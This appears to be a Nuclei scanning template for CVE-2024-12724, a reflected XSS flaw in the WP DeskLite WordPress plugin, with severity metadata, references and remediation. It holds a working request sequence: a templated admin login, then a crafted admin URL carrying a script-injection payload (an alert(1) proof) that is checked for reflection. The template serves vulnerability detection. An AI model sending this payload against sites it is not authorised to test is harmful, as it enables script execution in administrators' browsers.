Description
WP DeskLite WordPress plugin through 1.0.0 contains a reflected XSS caused by unsanitized and unescaped parameter output, letting attackers execute scripts against high privilege users such as admin, exploit requires crafted request.
WP DeskLite WordPress plugin through 1.0.0 contains a reflected XSS caused by unsanitized and unescaped parameter output, letting attackers execute scripts against high privilege users such as admin, exploit requires crafted request.
id: CVE-2024-12724
info:
name: WP DeskLite - Reflected XSS
author: Sourabh-Sahu
severity: medium
description: |
WP DeskLite WordPress plugin through 1.0.0 contains a reflected XSS caused by unsanitized and unescaped parameter output, letting attackers execute scripts against high privilege users such as admin, exploit requires crafted request.
impact: |
Attackers can execute scripts in admin users' browsers, potentially leading to account takeover or unauthorized actions.
remediation: |
Update to the latest version with proper input sanitization and escaping.
reference:
- https://wpscan.com/vulnerability/9dd3ffaa-9020-47a6-bf9a-7e1412b9e9d5/
- https://nvd.nist.gov/vuln/detail/CVE-2024-12724
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2024-12724
cwe-id: CWE-79
epss-score: 0.00573
epss-percentile: 0.45823
cpe: cpe:2.3:a:codeflock:wp_desklite:1.0.0:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: codeflock
product: wp_desklite
tags: cve,cve2024,wordpress,wp,wp-plugin,xss,wp-desklite,authenticated
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to={{RootURL}}/wp-admin/&testcookie=1
matchers:
- type: dsl
dsl:
- status_code == 302
- contains(header, "wordpress_logged_in")
condition: and
internal: true
- raw:
- |
GET /wp-admin/edit.php?post_type=wpdl_ticket&"></script><script>alert(1)</script><script>=` HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains_all(body, "></script><script>alert(1)</script><script>","wp-desklite")
condition: and
# digest: 4b0a00483046022100f691d5000d2473fb55e10d390342972fdb1f24e52eba7c7ff09f2de16d0f574c022100e4f34ef20e3beaec47843ae59f1bfc88087a0c1f5dbf200cface6874e82d46e1:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.